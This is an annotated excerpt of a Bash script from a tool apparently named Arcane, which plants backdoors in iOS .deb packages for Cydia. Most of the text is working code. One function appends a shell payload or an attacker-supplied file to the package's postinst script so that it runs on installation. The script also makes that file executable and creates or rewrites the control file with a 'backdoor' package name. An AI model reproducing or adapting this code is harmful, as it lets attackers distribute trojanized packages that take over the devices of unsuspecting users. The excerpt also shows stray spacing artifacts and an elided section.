# The "post-installation" file. This file is generally responsible
 # for executing commands on the OS after installing the required
 # files. It's utilized by developers to manage and maintain various
 # aspects of an installation. Arcane abuses this functionality by
 # appending malicious Bash commands to the file.
 postinst="$tmp/DEBIAN/postinst";
 
 # A function to handle the type of command execution embedded into the
 # postinst file.
 function inject_backdoor ()
 {
     # If --file is used, `cat` the command(s) into the postinst file.
     if [[ "$infile" ]]; then
         cat "$infile" >> "$postinst";
         embed="[$infile]";
     else
         # If no --file, utilize the simple Bash payload, previously
         # defined.
         echo -e "$payload" >> "$postinst";
         embed="generic shell command";
     fi;
     status "embedded $embed into postinst" "error embedding backdoor"   ;
     chmod 0755 "$postinst"
 };

# The "control" file template. Most iOS packages will include a
 # control file. In the event one is not found, Arcane will use the
 # below template. The `$hacker` variable is used here to occupy
 # various arbitrary fields.
 # https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
 controlTemp="Package: com.$hacker.backdoor
 Name: $hacker backdoor
 Version: 1337
 Section: app
 Architecture: iphoneos-arm
 Description: A backdoored iOS package
 Author: $hacker <https://$hacker.github.io/>
 Maintainer: $hacker <https://$hacker.github.io/>";
 
 ...
 
 # An `if` statement to check for the control file.
 if [[ ! -f "$tmp/DEBIAN/control" ]]; then
     # If no control is detected, create it using the template.
     echo "$controlTemp" > "$tmp/DEBIAN/control";
     status "created control file" "error with control template";
 else
     # If a control file exists, Arcane will simply rename t   he package
     # as it appears in the list of available Cydia applications. This
     # makes the package easier to location in Cydia.
     msg "detected control file" succ;
     sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
     status "modified control file" "error with control";
 fi;